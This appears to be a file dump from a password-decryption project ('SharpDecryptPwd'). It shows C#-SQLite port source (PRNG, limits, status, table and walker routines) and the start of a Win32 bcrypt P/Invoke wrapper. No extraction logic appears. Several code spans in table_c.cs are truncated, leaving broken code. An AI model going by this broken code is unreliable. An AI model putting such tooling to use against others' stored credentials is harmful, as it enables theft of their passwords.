sqlite3PrngType cp = (sqlite3PrngType)MemberwiseClone(); 55 | cp.s = new u8[s.Length]; 56 | Array.Copy( s, cp.s, s.Length ); 57 | return cp; 58 | } 59 | } 60 | public static sqlite3PrngType sqlite3Prng = new sqlite3PrngType(); 61 | /* 62 | ** Get a single 8-bit random value from the RC4 PRNG. The Mutex 63 | ** must be held while executing this routine. 64 | ** 65 | ** Why not just use a library random generator like lrand48() for this? 66 | ** Because the OP_NewRowid opcode in the VDBE depends on having a very 67 | ** good source of random numbers. The lrand48() library function may 68 | ** well be good enough. But maybe not. Or maybe lrand48() has some 69 | ** subtle problems on some systems that could cause problems. It is hard 70 | ** to know. To minimize the risk of problems due to bad lrand48() 71 | ** implementations, SQLite uses this random number generator based 72 | ** on RC4, which we know works very well. 73 | ** 74 | ** (Later): Actually, OP_NewRowid does not depend on a good source of 75 | ** randomness any more. But we will leave this code in all the same. 76 | */ 77 | static u8 randomu8() 78 | { 79 | u8 t; 80 | 81 | /* The "wsdPrng" macro will resolve to the pseudo-random number generator 82 | ** state vector. If writable static data is unsupported on the target, 83 | ** we have to locate the state vector at run-time. In the more common 84 | ** case where writable static data is supported, wsdPrng can refer directly 85 | ** to the "sqlite3Prng" state vector declared above. 86 | */ 87 | #if SQLITE_OMIT_WSD 88 | struct sqlite3PrngType *p = &GLOBAL(struct sqlite3PrngType, sqlite3Prng); 89 | //# define wsdPrng p[0] 90 | #else 91 | //# define wsdPrng sqlite3Prng 92 | sqlite3PrngType wsdPrng = sqlite3Prng; 93 | #endif 94 | 95 | 96 | /* Initialize the state of the random number generator once, 97 | ** the first time this routine is called. The seed value does 98 | ** not need to contain a lot of randomness since we are not 99 | ** trying to do secure encryption or anything like that... 100 | ** 101 | ** Nothing in this file or anywhere else in SQLite does any kind of 102 | ** encryption. The RC4 algorithm is being used as a PRNG (pseudo-random 103 | ** number generator) not as an encryption device. 104 | */ 105 | if ( !wsdPrng.isInit ) 106 | { 107 | int i; 108 | u8[] k = new u8[256]; 109 | wsdPrng.j = 0; 110 | wsdPrng.i = 0; 111 | sqlite3OsRandomness( sqlite3_vfs_find( "" ), 256, ref k ); 112 | for ( i = 0 ; i < 255 ; i++ ) 113 | { 114 | wsdPrng.s[i] = (u8)i; 115 | } 116 | for ( i = 0 ; i < 255 ; i++ ) 117 | { 118 | wsdPrng.j = (u8)( wsdPrng.j + wsdPrng.s[i] + k[i] ); 119 | t = wsdPrng.s[wsdPrng.j]; 120 | wsdPrng.s[wsdPrng.j] = wsdPrng.s[i]; 121 | wsdPrng.s[i] = t; 122 | } 123 | wsdPrng.isInit = true; 124 | } 125 | 126 | /* Generate and return single random u8 127 | */ 128 | wsdPrng.i++; 129 | t = wsdPrng.s[(u8)wsdPrng.i]; 130 | wsdPrng.j = (u8)( wsdPrng.j + t ); 131 | wsdPrng.s[(u8)wsdPrng.i] = wsdPrng.s[wsdPrng.j]; 132 | wsdPrng.s[wsdPrng.j] = t; 133 | t += wsdPrng.s[(u8)wsdPrng.i]; 134 | return wsdPrng.s[t]; 135 | } 136 | 137 | /* 138 | ** Return N random u8s. 139 | */ 140 | static void sqlite3_randomness( int N, ref i64 pBuf ) 141 | { 142 | //u8[] zBuf = new u8[N]; 143 | pBuf = 0; 144 | #if SQLITE_THREADSAFE 145 | sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_PRNG ); 146 | #endif 147 | sqlite3_mutex_enter( mutex ); 148 | while ( N-- > 0 ) 149 | { 150 | pBuf = (u32)( ( pBuf << 8 ) + randomu8() );// zBuf[N] = randomu8(); 151 | } 152 | sqlite3_mutex_leave( mutex ); 153 | } 154 | 155 | #if !SQLITE_OMIT_BUILTIN_TEST 156 | /* 157 | ** For testing purposes, we sometimes want to preserve the state of 158 | ** PRNG and restore the PRNG to its saved state at a later time, or 159 | ** to reset the PRNG to its initial state. These routines accomplish 160 | ** those tasks. 161 | ** 162 | ** The sqlite3_test_control() interface calls these routines to 163 | ** control the PRNG. 164 | */ 165 | static sqlite3PrngType sqlite3SavedPrng = null; 166 | static void sqlite3PrngSaveState() 167 | { 168 | sqlite3SavedPrng = sqlite3Prng.Copy(); 169 | // memcpy( 170 | // &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng), 171 | // &GLOBAL(struct sqlite3PrngType, sqlite3Prng), 172 | // sizeof(sqlite3Prng) 173 | //); 174 | } 175 | static void sqlite3PrngRestoreState() 176 | { 177 | sqlite3Prng = sqlite3SavedPrng.Copy(); 178 | //memcpy( 179 | // &GLOBAL(struct sqlite3PrngType, sqlite3Prng), 180 | // &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng), 181 | // sizeof(sqlite3Prng) 182 | //); 183 | } 184 | static void sqlite3PrngResetState() 185 | { 186 | sqlite3Prng.isInit = false;// GLOBAL(struct sqlite3PrngType, sqlite3Prng).isInit = 0; 187 | } 188 | #endif //* SQLITE_OMIT_BUILTIN_TEST */ 189 | } 190 | } 191 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/sqliteLimit_h.cs: -------------------------------------------------------------------------------- 1 | namespace CS_SQLite3 2 | { 3 | public partial class CSSQLite 4 | { 5 | /* 6 | ** 2007 May 7 7 | ** 8 | ** The author disclaims copyright to this source code. In place of 9 | ** a legal notice, here is a blessing: 10 | ** 11 | ** May you do good and not evil. 12 | ** May you find forgiveness for yourself and forgive others. 13 | ** May you share freely, never taking more than you give. 14 | ** 15 | ************************************************************************* 16 | ** 17 | ** This file defines various limits of what SQLite can process. 18 | ** 19 | ** @(#) $Id: sqliteLimit.h,v 1.10 2009/01/10 16:15:09 danielk1977 Exp $ 20 | ** 21 | ************************************************************************* 22 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 23 | ** C#-SQLite is an independent reimplementation of the SQLite software library 24 | ** 25 | ** $Header$ 26 | ************************************************************************* 27 | */ 28 | 29 | /* 30 | ** The maximum length of a TEXT or BLOB in bytes. This also 31 | ** limits the size of a row in a table or index. 32 | ** 33 | ** The hard limit is the ability of a 32-bit signed integer 34 | ** to count the size: 2^31-1 or 2147483647. 35 | */ 36 | #if !SQLITE_MAX_LENGTH 37 | const int SQLITE_MAX_LENGTH = 1000000000; 38 | #endif 39 | 40 | /* 41 | ** This is the maximum number of 42 | ** 43 | ** * Columns in a table 44 | ** * Columns in an index 45 | ** * Columns in a view 46 | ** * Terms in the SET clause of an UPDATE statement 47 | ** * Terms in the result set of a SELECT statement 48 | ** * Terms in the GROUP BY or ORDER BY clauses of a SELECT statement. 49 | ** * Terms in the VALUES clause of an INSERT statement 50 | ** 51 | ** The hard upper limit here is 32676. Most database people will 52 | ** tell you that in a well-normalized database, you usually should 53 | ** not have more than a dozen or so columns in any table. And if 54 | ** that is the case, there is no point in having more than a few 55 | ** dozen values in any of the other situations described above. 56 | */ 57 | #if !SQLITE_MAX_COLUMN 58 | const int SQLITE_MAX_COLUMN = 2000; 59 | #endif 60 | 61 | /* 62 | ** The maximum length of a single SQL statement in bytes. 63 | ** 64 | ** It used to be the case that setting this value to zero would 65 | ** turn the limit off. That is no longer true. It is not possible 66 | ** to turn this limit off. 67 | */ 68 | #if !SQLITE_MAX_SQL_LENGTH 69 | const int SQLITE_MAX_SQL_LENGTH = 1000000000; 70 | #endif 71 | 72 | /* 73 | ** The maximum depth of an expression tree. This is limited to 74 | ** some extent by SQLITE_MAX_SQL_LENGTH. But sometime you might 75 | ** want to place more severe limits on the complexity of an 76 | ** expression. 77 | ** 78 | ** A value of 0 used to mean that the limit was not enforced. 79 | ** But that is no longer true. The limit is now strictly enforced 80 | ** at all times. 81 | */ 82 | #if !SQLITE_MAX_EXPR_DEPTH 83 | const int SQLITE_MAX_EXPR_DEPTH = 1000; 84 | #endif 85 | 86 | /* 87 | ** The maximum number of terms in a compound SELECT statement. 88 | ** The code generator for compound SELECT statements does one 89 | ** level of recursion for each term. A stack overflow can result 90 | ** if the number of terms is too large. In practice, most SQL 91 | ** never has more than 3 or 4 terms. Use a value of 0 to disable 92 | ** any limit on the number of terms in a compount SELECT. 93 | */ 94 | #if !SQLITE_MAX_COMPOUND_SELECT 95 | const int SQLITE_MAX_COMPOUND_SELECT = 250; 96 | #endif 97 | 98 | /* 99 | ** The maximum number of opcodes in a VDBE program. 100 | ** Not currently enforced. 101 | */ 102 | #if !SQLITE_MAX_VDBE_OP 103 | const int SQLITE_MAX_VDBE_OP = 25000; 104 | #endif 105 | 106 | /* 107 | ** The maximum number of arguments to an SQL function. 108 | */ 109 | #if !SQLITE_MAX_FUNCTION_ARG 110 | const int SQLITE_MAX_FUNCTION_ARG = 127;//# define SQLITE_MAX_FUNCTION_ARG 127 111 | #endif 112 | 113 | /* 114 | ** The maximum number of in-memory pages to use for the main database 115 | ** table and for temporary tables. The SQLITE_DEFAULT_CACHE_SIZE 116 | */ 117 | #if !SQLITE_DEFAULT_CACHE_SIZE 118 | const int SQLITE_DEFAULT_CACHE_SIZE = 2000; 119 | #endif 120 | #if !SQLITE_DEFAULT_TEMP_CACHE_SIZE 121 | const int SQLITE_DEFAULT_TEMP_CACHE_SIZE = 500; 122 | #endif 123 | 124 | /* 125 | ** The maximum number of attached databases. This must be between 0 126 | ** and 30. The upper bound on 30 is because a 32-bit integer bitmap 127 | ** is used internally to track attached databases. 128 | */ 129 | #if !SQLITE_MAX_ATTACHED 130 | const int SQLITE_MAX_ATTACHED = 10; 131 | #endif 132 | 133 | 134 | /* 135 | ** The maximum value of a ?nnn wildcard that the parser will accept. 136 | */ 137 | #if !SQLITE_MAX_VARIABLE_NUMBER 138 | const int SQLITE_MAX_VARIABLE_NUMBER = 999; 139 | #endif 140 | 141 | /* Maximum page size. The upper bound on this value is 32768. This a limit 142 | ** imposed by the necessity of storing the value in a 2-byte unsigned integer 143 | ** and the fact that the page size must be a power of 2. 144 | ** 145 | ** If this limit is changed, then the compiled library is technically 146 | ** incompatible with an SQLite library compiled with a different limit. If 147 | ** a process operating on a database with a page-size of 65536 bytes 148 | ** crashes, then an instance of SQLite compiled with the default page-size 149 | ** limit will not be able to rollback the aborted transaction. This could 150 | ** lead to database corruption. 151 | */ 152 | #if !SQLITE_MAX_PAGE_SIZE 153 | const int SQLITE_MAX_PAGE_SIZE = 32768; 154 | #endif 155 | 156 | 157 | /* 158 | ** The default size of a database page. 159 | */ 160 | #if !SQLITE_DEFAULT_PAGE_SIZE 161 | const int SQLITE_DEFAULT_PAGE_SIZE = 1024; 162 | #endif 163 | #if SQLITE_DEFAULT_PAGE_SIZE //SQLITE_DEFAULT_PAGE_SIZE>SQLITE_MAX_PAGE_SIZE 164 | # undef SQLITE_DEFAULT_PAGE_SIZE 165 | const int SQLITE_DEFAULT_PAGE_SIZE SQLITE_MAX_PAGE_SIZE 166 | #endif 167 | 168 | /* 169 | ** Ordinarily, if no value is explicitly provided, SQLite creates databases 170 | ** with page size SQLITE_DEFAULT_PAGE_SIZE. However, based on certain 171 | ** device characteristics (sector-size and atomic write() support), 172 | ** SQLite may choose a larger value. This constant is the maximum value 173 | ** SQLite will choose on its own. 174 | */ 175 | #if !SQLITE_MAX_DEFAULT_PAGE_SIZE 176 | const int SQLITE_MAX_DEFAULT_PAGE_SIZE = 8192; 177 | #endif 178 | #if SQLITE_MAX_DEFAULT_PAGE_SIZE //SQLITE_MAX_DEFAULT_PAGE_SIZE>SQLITE_MAX_PAGE_SIZE 179 | # undef SQLITE_MAX_DEFAULT_PAGE_SIZE 180 | const int SQLITE_MAX_DEFAULT_PAGE_SIZE SQLITE_MAX_PAGE_SIZE 181 | #endif 182 | 183 | 184 | /* 185 | ** Maximum number of pages in one database file. 186 | ** 187 | ** This is really just the default value for the max_page_count pragma. 188 | ** This value can be lowered (or raised) at run-time using that the 189 | ** max_page_count macro. 190 | */ 191 | #if !SQLITE_MAX_PAGE_COUNT 192 | const int SQLITE_MAX_PAGE_COUNT = 1073741823; 193 | #endif 194 | 195 | /* 196 | ** Maximum length (in bytes) of the pattern in a LIKE or GLOB 197 | ** operator. 198 | */ 199 | #if !SQLITE_MAX_LIKE_PATTERN_LENGTH 200 | const int SQLITE_MAX_LIKE_PATTERN_LENGTH = 50000; 201 | #endif 202 | } 203 | } 204 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/sqliteicu_h.cs: -------------------------------------------------------------------------------- 1 | namespace CS_SQLite3 2 | { 3 | public partial class CSSQLite 4 | { 5 | /* 6 | ** 2008 May 26 7 | ** 8 | ** The author disclaims copyright to this source code. In place of 9 | ** a legal notice, here is a blessing: 10 | ** 11 | ** May you do good and not evil. 12 | ** May you find forgiveness for yourself and forgive others. 13 | ** May you share freely, never taking more than you give. 14 | ** 15 | ****************************************************************************** 16 | ** 17 | ** This header file is used by programs that want to link against the 18 | ** ICU extension. All it does is declare the sqlite3IcuInit() interface. 19 | ** 20 | ************************************************************************* 21 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 22 | ** C#-SQLite is an independent reimplementation of the SQLite software library 23 | ** 24 | ** $Header$ 25 | ************************************************************************* 26 | */ 27 | //#include "sqlite3.h" 28 | 29 | //#if __cplusplus 30 | //extern "C" { 31 | //#endif /* __cplusplus */ 32 | 33 | //int sqlite3IcuInit(sqlite3 *db); 34 | 35 | //#if __cplusplus 36 | //} /* extern "C" */ 37 | //#endif /* __cplusplus */ 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/status_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Text; 4 | 5 | namespace CS_SQLite3 6 | { 7 | using sqlite3_value = CSSQLite.Mem; 8 | 9 | public partial class CSSQLite 10 | { 11 | /* 12 | ** 2008 June 18 13 | ** 14 | ** The author disclaims copyright to this source code. In place of 15 | ** a legal notice, here is a blessing: 16 | ** 17 | ** May you do good and not evil. 18 | ** May you find forgiveness for yourself and forgive others. 19 | ** May you share freely, never taking more than you give. 20 | ** 21 | ************************************************************************* 22 | ** 23 | ** This module implements the sqlite3_status() interface and related 24 | ** functionality. 25 | ** 26 | ** $Id: status.c,v 1.9 2008/09/02 00:52:52 drh Exp $ 27 | ** 28 | ************************************************************************* 29 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 30 | ** C#-SQLite is an independent reimplementation of the SQLite software library 31 | ** 32 | ** $Header$ 33 | ************************************************************************* 34 | */ 35 | //#include "sqliteInt.h" 36 | 37 | /* 38 | ** Variables in which to record status information. 39 | */ 40 | //typedef struct sqlite3StatType sqlite3StatType; 41 | public class sqlite3StatType 42 | { 43 | public int[] nowValue = new int[9]; /* Current value */ 44 | public int[] mxValue = new int[9]; /* Maximum value */ 45 | } 46 | public static sqlite3StatType sqlite3Stat = new sqlite3StatType(); 47 | 48 | /* The "wsdStat" macro will resolve to the status information 49 | ** state vector. If writable static data is unsupported on the target, 50 | ** we have to locate the state vector at run-time. In the more common 51 | ** case where writable static data is supported, wsdStat can refer directly 52 | ** to the "sqlite3Stat" state vector declared above. 53 | */ 54 | #if SQLITE_OMIT_WSD 55 | //# define wsdStatInit sqlite3StatType *x = &GLOBAL(sqlite3StatType,sqlite3Stat) 56 | //# define wsdStat x[0] 57 | #else 58 | //# define wsdStatInit 59 | static void wsdStatInit() { } 60 | //# define wsdStat sqlite3Stat 61 | static sqlite3StatType wsdStat = sqlite3Stat; 62 | #endif 63 | 64 | /* 65 | ** Return the current value of a status parameter. 66 | */ 67 | static int sqlite3StatusValue( int op ) 68 | { 69 | wsdStatInit(); 70 | Debug.Assert( op >= 0 && op < ArraySize( wsdStat.nowValue ) ); 71 | return wsdStat.nowValue[op]; 72 | } 73 | 74 | /* 75 | ** Add N to the value of a status record. It is assumed that the 76 | ** caller holds appropriate locks. 77 | */ 78 | static void sqlite3StatusAdd( int op, int N ) 79 | { 80 | wsdStatInit(); 81 | Debug.Assert( op >= 0 && op < ArraySize( wsdStat.nowValue ) ); 82 | wsdStat.nowValue[op] += N; 83 | if ( wsdStat.nowValue[op] > wsdStat.mxValue[op] ) 84 | { 85 | wsdStat.mxValue[op] = wsdStat.nowValue[op]; 86 | } 87 | } 88 | 89 | /* 90 | ** Set the value of a status to X. 91 | */ 92 | static void sqlite3StatusSet( int op, int X ) 93 | { 94 | wsdStatInit(); 95 | Debug.Assert( op >= 0 && op < ArraySize( wsdStat.nowValue ) ); 96 | wsdStat.nowValue[op] = X; 97 | if ( wsdStat.nowValue[op] > wsdStat.mxValue[op] ) 98 | { 99 | wsdStat.mxValue[op] = wsdStat.nowValue[op]; 100 | } 101 | } 102 | 103 | /* 104 | ** Query status information. 105 | ** 106 | ** This implementation assumes that reading or writing an aligned 107 | ** 32-bit integer is an atomic operation. If that assumption is not true, 108 | ** then this routine is not threadsafe. 109 | */ 110 | static int sqlite3_status( int op, ref int pCurrent, ref int pHighwater, int resetFlag ) 111 | { 112 | wsdStatInit(); 113 | if ( op < 0 || op >= ArraySize( wsdStat.nowValue ) ) 114 | { 115 | return SQLITE_MISUSE; 116 | } 117 | pCurrent = wsdStat.nowValue[op]; 118 | pHighwater = wsdStat.mxValue[op]; 119 | if ( resetFlag != 0 ) 120 | { 121 | wsdStat.mxValue[op] = wsdStat.nowValue[op]; 122 | } 123 | return SQLITE_OK; 124 | } 125 | /* 126 | ** Query status information for a single database connection 127 | */ 128 | int sqlite3_db_status( 129 | sqlite3 db, /* The database connection whose status is desired */ 130 | int op, /* Status verb */ 131 | ref int pCurrent, /* Write current value here */ 132 | ref int pHighwater, /* Write high-water mark here */ 133 | int resetFlag /* Reset high-water mark if true */ 134 | ) 135 | { 136 | switch ( op ) 137 | { 138 | case SQLITE_DBSTATUS_LOOKASIDE_USED: 139 | { 140 | pCurrent = db.lookaside.nOut; 141 | pHighwater = db.lookaside.mxOut; 142 | if ( resetFlag != 0 ) 143 | { 144 | db.lookaside.mxOut = db.lookaside.nOut; 145 | } 146 | break; 147 | } 148 | default: 149 | { 150 | return SQLITE_ERROR; 151 | } 152 | } 153 | return SQLITE_OK; 154 | } 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/table_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | 4 | using i64 = System.Int64; 5 | 6 | namespace CS_SQLite3 7 | { 8 | public partial class CSSQLite 9 | { 10 | /* 11 | ** 2001 September 15 12 | ** 13 | ** The author disclaims copyright to this source code. In place of 14 | ** a legal notice, here is a blessing: 15 | ** 16 | ** May you do good and not evil. 17 | ** May you find forgiveness for yourself and forgive others. 18 | ** May you share freely, never taking more than you give. 19 | ** 20 | ************************************************************************* 21 | ** This file contains the sqlite3_get_table() and //sqlite3_free_table() 22 | ** interface routines. These are just wrappers around the main 23 | ** interface routine of sqlite3_exec(). 24 | ** 25 | ** These routines are in a separate files so that they will not be linked 26 | ** if they are not used. 27 | ** 28 | ** $Id: table.c,v 1.39 2009/01/19 20:49:10 drh Exp $ 29 | ** 30 | ************************************************************************* 31 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 32 | ** C#-SQLite is an independent reimplementation of the SQLite software library 33 | ** 34 | ** $Header$ 35 | ************************************************************************* 36 | */ 37 | //#include "sqliteInt.h" 38 | //#include 39 | //#include 40 | 41 | #if !SQLITE_OMIT_GET_TABLE 42 | 43 | /* 44 | ** This structure is used to pass data from sqlite3_get_table() through 45 | ** to the callback function is uses to build the result. 46 | */ 47 | class TabResult { 48 | public string[] azResult; 49 | public string zErrMsg; 50 | public int nResult; 51 | public int nAlloc; 52 | public int nRow; 53 | public int nColumn; 54 | public int nData; 55 | public int rc; 56 | }; 57 | 58 | /* 59 | ** This routine is called once for each row in the result table. Its job 60 | ** is to fill in the TabResult structure appropriately, allocating new 61 | ** memory as necessary. 62 | */ 63 | public static int sqlite3_get_table_cb( object pArg, i64 nCol, object Oargv, object Ocolv ) 64 | { 65 | string[] argv = (string[])Oargv; 66 | string[]colv = (string[])Ocolv; 67 | TabResult p = (TabResult)pArg; 68 | int need; 69 | int i; 70 | string z; 71 | 72 | /* Make sure there is enough space in p.azResult to hold everything 73 | ** we need to remember from this invocation of the callback. 74 | */ 75 | if( p.nRow==0 && argv!=null ){ 76 | need = (int)nCol*2; 77 | }else{ 78 | need = (int)nCol; 79 | } 80 | if( p.nData + need >= p.nAlloc ){ 81 | string[] azNew; 82 | p.nAlloc = p.nAlloc*2 + need + 1; 83 | azNew = new string[p.nAlloc];//sqlite3_realloc( p.azResult, sizeof(char*)*p.nAlloc ); 84 | if( azNew==null ) goto malloc_failed; 85 | p.azResult = azNew; 86 | } 87 | 88 | /* If this is the first row, then generate an extra row containing 89 | ** the names of all columns. 90 | */ 91 | if( p.nRow==0 ){ 92 | p.nColumn = (int)nCol; 93 | for(i=0; i= sizeof(res.nData) ); 170 | //res.azResult = SQLITE_INT_TO_PTR( res.nData ); 171 | if( (rc&0xff)==SQLITE_ABORT ){ 172 | //sqlite3_free_table(ref res.azResult[1] ); 173 | if( res.zErrMsg !=""){ 174 | if( pzErrMsg !=null ){ 175 | //sqlite3_free(ref pzErrMsg); 176 | pzErrMsg = sqlite3_mprintf("%s",res.zErrMsg); 177 | } 178 | //sqlite3_free(ref res.zErrMsg); 179 | } 180 | db.errCode = res.rc; /* Assume 32-bit assignment is atomic */ 181 | return res.rc; 182 | } 183 | //sqlite3_free(ref res.zErrMsg); 184 | if( rc!=SQLITE_OK ){ 185 | //sqlite3_free_table(ref res.azResult[1]); 186 | return rc; 187 | } 188 | if( res.nAlloc>res.nData ){ 189 | string[] azNew; 190 | Array.Resize(ref res.azResult, res.nData-1);//sqlite3_realloc( res.azResult, sizeof(char*)*(res.nData+1) ); 191 | //if( azNew==null ){ 192 | // //sqlite3_free_table(ref res.azResult[1]); 193 | // db.errCode = SQLITE_NOMEM; 194 | // return SQLITE_NOMEM; 195 | //} 196 | res.nAlloc = res.nData+1; 197 | //res.azResult = azNew; 198 | } 199 | pazResult = res.azResult; 200 | pnColumn = res.nColumn; 201 | pnRow = res.nRow; 202 | return rc; 203 | } 204 | 205 | /* 206 | ** This routine frees the space the sqlite3_get_table() malloced. 207 | */ 208 | static void //sqlite3_free_table( 209 | ref string azResult /* Result returned from from sqlite3_get_table() */ 210 | ){ 211 | if( azResult !=null){ 212 | int i, n; 213 | //azResult--; 214 | //Debug.Assert( azResult!=0 ); 215 | //n = SQLITE_PTR_TO_INT(azResult[0]); 216 | //for(i=1; i 37 | //#include 38 | 39 | 40 | /* 41 | ** Walk an expression tree. Invoke the callback once for each node 42 | ** of the expression, while decending. (In other words, the callback 43 | ** is invoked before visiting children.) 44 | ** 45 | ** The return value from the callback should be one of the WRC_* 46 | ** constants to specify how to proceed with the walk. 47 | ** 48 | ** WRC_Continue Continue descending down the tree. 49 | ** 50 | ** WRC_Prune Do not descend into child nodes. But allow 51 | ** the walk to continue with sibling nodes. 52 | ** 53 | ** WRC_Abort Do no more callbacks. Unwind the stack and 54 | ** return the top-level walk call. 55 | ** 56 | ** The return value from this routine is WRC_Abort to abandon the tree walk 57 | ** and WRC_Continue to continue. 58 | */ 59 | static int sqlite3WalkExpr( Walker pWalker, ref Expr pExpr ) 60 | { 61 | int rc; 62 | if ( pExpr == null ) return WRC_Continue; 63 | testcase( ExprHasProperty( pExpr, EP_TokenOnly ) ); 64 | testcase( ExprHasProperty( pExpr, EP_Reduced ) ); 65 | rc = pWalker.xExprCallback( pWalker, ref pExpr ); 66 | if ( rc == WRC_Continue 67 | && !ExprHasAnyProperty( pExpr, EP_TokenOnly ) ) 68 | { 69 | if ( sqlite3WalkExpr( pWalker, ref pExpr.pLeft ) != 0 ) return WRC_Abort; 70 | if ( sqlite3WalkExpr( pWalker, ref pExpr.pRight ) != 0 ) return WRC_Abort; 71 | if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) 72 | { 73 | if ( sqlite3WalkSelect( pWalker, pExpr.x.pSelect ) != 0 ) return WRC_Abort; 74 | } 75 | else 76 | { 77 | if ( sqlite3WalkExprList( pWalker, pExpr.x.pList ) != 0 ) return WRC_Abort; 78 | } 79 | } 80 | return rc & WRC_Abort; 81 | } 82 | 83 | /* 84 | ** Call sqlite3WalkExpr() for every expression in list p or until 85 | ** an abort request is seen. 86 | */ 87 | static int sqlite3WalkExprList( Walker pWalker, ExprList p ) 88 | { 89 | int i; 90 | ExprList_item pItem; 91 | if ( p != null ) 92 | { 93 | for ( i = p.nExpr ; i > 0 ; i-- ) 94 | {//, pItem++){ 95 | pItem = p.a[p.nExpr - i]; 96 | if ( sqlite3WalkExpr( pWalker, ref pItem.pExpr ) != 0 ) return WRC_Abort; 97 | } 98 | } 99 | return WRC_Continue; 100 | } 101 | 102 | /* 103 | ** Walk all expressions associated with SELECT statement p. Do 104 | ** not invoke the SELECT callback on p, but do (of course) invoke 105 | ** any expr callbacks and SELECT callbacks that come from subqueries. 106 | ** Return WRC_Abort or WRC_Continue. 107 | */ 108 | static int sqlite3WalkSelectExpr( Walker pWalker, Select p ) 109 | { 110 | if ( sqlite3WalkExprList( pWalker, p.pEList ) != 0 ) return WRC_Abort; 111 | if ( sqlite3WalkExpr( pWalker, ref p.pWhere ) != 0 ) return WRC_Abort; 112 | if ( sqlite3WalkExprList( pWalker, p.pGroupBy ) != 0 ) return WRC_Abort; 113 | if ( sqlite3WalkExpr( pWalker, ref p.pHaving ) != 0 ) return WRC_Abort; 114 | if ( sqlite3WalkExprList( pWalker, p.pOrderBy ) != 0 ) return WRC_Abort; 115 | if ( sqlite3WalkExpr( pWalker, ref p.pLimit ) != 0 ) return WRC_Abort; 116 | if ( sqlite3WalkExpr( pWalker, ref p.pOffset ) != 0 ) return WRC_Abort; 117 | return WRC_Continue; 118 | } 119 | 120 | /* 121 | ** Walk the parse trees associated with all subqueries in the 122 | ** FROM clause of SELECT statement p. Do not invoke the select 123 | ** callback on p, but do invoke it on each FROM clause subquery 124 | ** and on any subqueries further down in the tree. Return 125 | ** WRC_Abort or WRC_Continue; 126 | */ 127 | static int sqlite3WalkSelectFrom( Walker pWalker, Select p ) 128 | { 129 | SrcList pSrc; 130 | int i; 131 | SrcList_item pItem; 132 | 133 | pSrc = p.pSrc; 134 | if ( ALWAYS( pSrc ) ) 135 | { 136 | for ( i = pSrc.nSrc ; i > 0 ; i-- )// pItem++ ) 137 | { 138 | pItem = pSrc.a[pSrc.nSrc - i]; 139 | if ( sqlite3WalkSelect( pWalker, pItem.pSelect ) != 0 ) 140 | { 141 | return WRC_Abort; 142 | } 143 | } 144 | } 145 | return WRC_Continue; 146 | } 147 | 148 | /* 149 | ** Call sqlite3WalkExpr() for every expression in Select statement p. 150 | ** Invoke sqlite3WalkSelect() for subqueries in the FROM clause and 151 | ** on the compound select chain, p.pPrior. 152 | ** 153 | ** Return WRC_Continue under normal conditions. Return WRC_Abort if 154 | ** there is an abort request. 155 | ** 156 | ** If the Walker does not have an xSelectCallback() then this routine 157 | ** is a no-op returning WRC_Continue. 158 | */ 159 | static int sqlite3WalkSelect( Walker pWalker, Select p ) 160 | { 161 | int rc; 162 | if ( p == null || pWalker.xSelectCallback == null ) return WRC_Continue; 163 | rc = WRC_Continue; 164 | while ( p != null ) 165 | { 166 | rc = pWalker.xSelectCallback( pWalker, p ); 167 | if ( rc != 0 ) break; 168 | if ( sqlite3WalkSelectExpr( pWalker, p ) != 0 ) return WRC_Abort; 169 | if ( sqlite3WalkSelectFrom( pWalker, p ) != 0 ) return WRC_Abort; 170 | p = p.pPrior; 171 | } 172 | return rc & WRC_Abort; 173 | } 174 | } 175 | } 176 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/Win32/bcrypt.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpDecryptPwd.Lib.Win32 5 | { 6 | class Bcrypt 7 | { 8 | [DllImport("bcrypt.dll")] 9 | public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, 10 | [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, 11 | [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, 12 | uint dwFlags); 13 | 14 | [DllImport("bcrypt.dll")] 15 | public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); 16 | 17 | [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] 18 | public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); 19 | 20 | [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] 21 | internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); 22 | 23 | 24 | [DllImport("bcrypt.dll")] 25 | public static extern uint BCryptImportKey(IntPtr hAlgorithm, 26 | IntPtr hImportKey, 27 | [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, 28 | out IntPtr phKey, 29 | IntPtr pbKeyObject, 30 | int cbKeyObject, 31 | byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data) 32 | int cbInput, 33 | uint dwFlags); 34 | 35 | [DllImport("bcrypt.dll")] 36 | public static extern uint BCryptDestroyKey(IntPtr hKey); 37 | 38 | [DllImport("bcrypt.dll")] 39 | public static extern uint BCryptEncrypt(IntPtr hKey, 40 | byte[] pbInput, 41 | int cbInput, 42 | ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, 43 | byte[] pbIV, int cbIV, 44 | byte[] 